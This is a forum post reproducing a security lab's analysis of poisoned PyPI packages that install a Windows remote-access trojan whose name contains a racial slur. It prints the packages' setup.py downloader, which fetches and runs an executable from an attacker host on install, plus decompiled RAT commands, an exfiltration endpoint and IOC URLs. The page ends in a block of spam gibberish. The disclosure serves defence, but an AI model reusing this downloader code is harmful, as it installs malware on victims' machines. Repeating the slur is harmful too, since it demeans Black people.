ihateniggers:针对 Python 开发者的 Windows 远控木马分析 - V2EX
V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
ssltest

ihateniggers:针对 Python 开发者的 Windows 远控木马分析

  •  
  •   ssltest 2023 年 5 月 12 日 2068 次点击
    这是一个创建于 1079 天前的主题,其中的信息可能已经有所发展或是发生改变。

    背景

    墨菲安全实验室在持续监测开源软件仓库中的投毒行为,5 月 9 日起发现 4 个包含 "ihateniggers" 远程控制木马的 Python 包被 [email protected] 邮箱关联的账号发布到 PyPI 仓库,试图针对 Windows 系统下 Python 开发者进行攻击。木马利用了 discord 、replit 、playit 等多个平台托管后门、隐藏身份,当前木马作者仍在活跃。

    事件简述

    我们监测发现,从 5 月 9 日开始在 PyPI 仓库出现利用 "ihateniggers" 木马进行攻击的后门组件( installpippython ),这些包只针对 Windows 操作系统执行恶意逻辑。

    这些投毒包通过在 setup.py 中添加下载执行下载器的逻辑,再通过下载器下载执行木马。下载器首先下载 curl 的 dll 文件为攻击做铺垫,之后下载 "ihateniggers" 木马文件并执行。该木马中存在截取屏幕、执行命令、下载文件、获取剪贴板、获取 Wi-Fi 密码等恶意行为。

    当前投毒者仍在活跃,墨菲安全发现至少有 4 个包含 "ihateniggers" 木马文件的 Python 包,这些包当前在 PyPI 仓库中已被下线。

    包名 版本 发布时间 所用用户名 所用邮箱
    args-python 12.4.5 2023/5/10 nagogy213 [email protected]
    args-python 12.5.5 2023/5/10 nagogy213 [email protected]
    argspython 12.5.5 2023/5/10 nagogy213 [email protected]
    argspython 12.6.5 2023/5/10 nagogy213 [email protected]
    installpippython 19.3.5 2023/5/9 nagogy213 [email protected]
    pythonarg 1.1 2023/5/10 dynastyoak [email protected]

    投毒者 dreamyoak 利用了 https://discord.com/https://replit.com/https://playit.gg/ 等平台托管其恶意文件、作为信息收集的后端服务、命令控制的信道,其母语可能是韩语 /朝鲜语。

    投毒行为分析

    投放包含下载器的 Python 包

    投毒者以 arg 作为关键词在 PyPI 仓库中发布了多个包,以 pythonarg v1.1 为例,当用户通过 pip 安装投毒组件包或者引入组件包的 reqinstaller 模块时,将会从 hxxps://cdn.dreamyoak.repl.co/ 下载并执行恶意软件:

    # setup.py 和 reqinstaller 模块中的 __init__.py import urllib.request import tempfile import subprocess url = 'https://cdn.dreamyoak.repl.co/cdn/hb2Voh.exe' with urllib.request.urlopen(url) as response: with tempfile.NamedTemporaryFile(delete=False) as tmp_file: tmp_file.write(response.read()) exe_path = tmp_file.name subprocess.call([exe_path]) 

    exe 文件运行时将从 hxxps://cdn.discordapp.com/ 下载 libcurl 以及木马 windows-services.exe ,这些文件被作为附件传到了 Discord 中。

    在文件中也可以提取到开发时的项目路径,将该模块称为rat-downloader

    C:\Users\admin\Desktop\dreamyoak\projects\c++\rat-downloader

    Replit 提供了从代码编写到构建运行的云端 IDE 环境,*.repl.co 是 Replit 平台提供用于托管用户项目的域名。

    投毒者至少使用了 "dreamyoak" 和 "thughunter" 两个账号,分别注册了 "cdn" 和 "cdn-1" 等多个项目,用于托管下载器,以及后续的信息收集服务。

    通过下载器引入远控木马( RAT )

    windows-services.exe 是一个功能全面的远程控制木马( RAT ),运行依赖于 libcurl.dll 动态链接库。与 hb2Voh.exe 相同,都使用 MinGW 构建,投毒者可能更熟悉 Linux 下的开发环境。

    在运行后会先通过注册表、fodhelper.exe 等绕过 UAC 。

    而后连接 back-effort.at.ply[.]gg:50555 服务,ply.ggplayit.gg 提供的游戏托管服务域名,针对游戏场景提供了 TCP/UDP 的公网端口中转服务。该木马利用 playit.gg 作为 C2 服务,降低成本,隐藏其身份。

    木马中支持了大量的控制指令,实现了如截取屏幕、执行命令、下载文件、获取剪贴板、获取 Wi-Fi 密码等功能。

    if ( (unsigned __int8)sub_522560(&v41, "!ip") ) if ( (unsigned __int8)sub_522560(&v41, "!screenshot") ) v12 = sub_522560(&STACK[0x7A0], "!download"); v14 = sub_522560(&STACK[0x870], "!cmd"); if ( (unsigned __int8)sub_522560(&v41, "!dir") ) if ( (unsigned __int8)sub_522560(&v41, "!clipboard") ) v15 = sub_522560(&STACK[0xBD0], "!openlink"); else if ( (unsigned __int8)sub_522560(&v41, "!wifipasswords") ) v16 = sub_522560(&STACK[0xCA0], "!errorbox"); else if ( (unsigned __int8)sub_522560(&v41, "!tasklist") ) v17 = sub_522560(&STACK[0xE40], "!run"); else if ( (unsigned __int8)sub_522560(&v41, "!lock") ) v18 = sub_52260(&STACK[0xF00], "!delete"); else if ( (unsigned __int8)sub_522560(&v41, "!getadmin") ) else if ( (unsigned __int8)sub_522560(&v41, "!webcam") ) v19 = sub_522560(&STACK[0x10E0], "!upload"); v20 = sub_522560(&STACK[0x1140], "!mic"); else if ( (unsigned __int8)sub_522560(&v41, "!disabledef") ) v22 = sub_522560(&STACK[0x12A0], "!cd"); else if ( (unsigned __int8)sub_522560(&v41, "!isadmin") ) v24 = sub_522560(&STACK[0x1370], "!wallpaper"); else if ( (unsigned __int8)sub_522560(&v41, "!restart") ) else if ( (unsigned __int8)sub_522560(&v41, "!shutdown") ) v29 = sub_522560(&STACK[0x14F0], "!uprun"); v30 = sub_522560(&STACK[0x15B0], "!kill"); else if ( (unsigned __int8)sub_522560(&v41, "!sysinfo") ) else if ( (unsigned __int8)sub_522560(&v41, "!fuckkeyboard") ) else if ( (unsigned __int8)sub_522560(&v41, "!fixkeyboard") ) else if ( (unsigned __int8)sub_522560(&v41, "!blackscreen") ) else if ( (unsigned __int8)sub_522560(&v41, "!bluescreen") ) else if ( (unsigned __int8)sub_522560(&v41, "!windowspass") ) v31 = sub_522560(&STACK[0x17C0], "!spam"); v33 = sub_522560(&STACK[0x1860], "!adduser"); v34 = sub_522560(&STACK[0x18D0], "!listusers"); v35 = sub_522560(&STACK[0x1910], "!deluser"); v36 = sub_522560(&STACK[0x1980], "!play"); 

    也会依赖其他后门完成额外操作,如获取摄像头画面:

    获取敏感信息后留存的文件,多以 ihateniggers 作为前缀命名,投毒者可能是种族主义者( niggers 意为黑鬼)。

    窃取后的信息会发送至 replit 的信息收集服务中(hxxps://cdn.dreamyoak.repl.co/api/upload/nagogy133)

    溯源分析

    投毒者在 2023 年 1 月份就开始用“@thughunter”账号进行服务部署,在 Replit 中部署了多套环境进行测试,在 5 月 10 号开始以“@dreamyoak”发布除 installpippython 之外的其他投毒包。

    在 GitHub 中,dreamyoak 、nagogy 账号与木马作者的关联性较高,其仓库中也包含类似功能的恶意软件代码。

    通过邮箱关联,攻击者可能使用韩语 /朝鲜语作为其母语,其对应名称可能为(金基元)。

    风险防范

    当前,PyPI 仓库中涉及的 python 包已经下线,gplayit 中的 back-effort.at.ply[.]gg:50555 服务已经关闭,replit 中 thughunter 的服务未开启。但从其投毒行为来看,还处于早期调试阶段,后续可能持续投毒并提升检测对抗难度。

    相关网络 IOC 包括:

    back-effort.at.ply[.]gg:50555 hxxps://cdn.discordapp.com/attachments/1055888135671795823/1105559368600133642/libcurl-x64.dll hxxps://cdn.discordapp.com/attachments/1055888135671795823/1105562608993570816/win32.exe hxxps://cdn.discordapp.com/attachments/1055888135671795823/1105559654160924672/windows-services.exe hxxps://cdn.dreamyoak.repl.co/cdn/hb2Voh.exe hxxps://cdn.dreamyoak.repl.co/api/upload/nagogy1337 hxxps://cdn-1.thughunter.repl.co/cdn/DLwsT3.exe hxxps://cdn-1.thughunter.repl.co/cdn/Windows.exe 
    目前尚无回复
    关于     帮助文档     自助推广系统     博客     API     FAQ     Solana     2899 人在线   最高记录 6679       Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 83ms UTC 03:25 PVG 11:25 LAX 20:25 JFK 23:25
    Do have faith in what you're doing.
    ubao msn snddm index pchome yahoo rakuten mypaper meadowduck bidyahoo youbao zxmzxm asda bnvcg cvbfg dfscv mmhjk xxddc yybgb zznbn ccubao uaitu acv GXCV ET GDG YH FG BCVB FJFH CBRE CBC GDG ET54 WRWR RWER WREW WRWER RWER SDG EW SF DSFSF fbbs ubao fhd dfg ewr dg df ewwr ewwr et ruyut utut dfg fgd gdfgt etg dfgt dfgd ert4 gd fgg wr 235 wer3 we vsdf sdf gdf ert xcv sdf rwer hfd dfg cvb rwf afb dfh jgh bmn lgh rty gfds cxv xcv xcs vdas fdf fgd cv sdf tert sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf shasha9178 shasha9178 shasha9178 shasha9178 shasha9178 liflif2 liflif2 liflif2 liflif2 liflif2 liblib3 liblib3 liblib3 liblib3 liblib3 zhazha444 zhazha444 zhazha444 zhazha444 zhazha444 dende5 dende denden denden2 denden21 fenfen9 fenf619 fen619 fenfe9 fe619 sdf sdf sdf sdf sdf zhazh90 zhazh0 zhaa50 zha90 zh590 zho zhoz zhozh zhozho zhozho2 lislis lls95 lili95 lils5 liss9 sdf0ty987 sdft876 sdft9876 sdf09876 sd0t9876 sdf0ty98 sdf0976 sdf0ty986 sdf0ty96 sdf0t76 sdf0876 df0ty98 sf0t876 sd0ty76 sdy76 sdf76 sdf0t76 sdf0ty9 sdf0ty98 sdf0ty987 sdf0ty98 sdf6676 sdf876 sd876 sd876 sdf6 sdf6 sdf9876 sdf0t sdf06 sdf0ty9776 sdf0ty9776 sdf0ty76 sdf8876 sdf0t sd6 sdf06 s688876 sd688 sdf86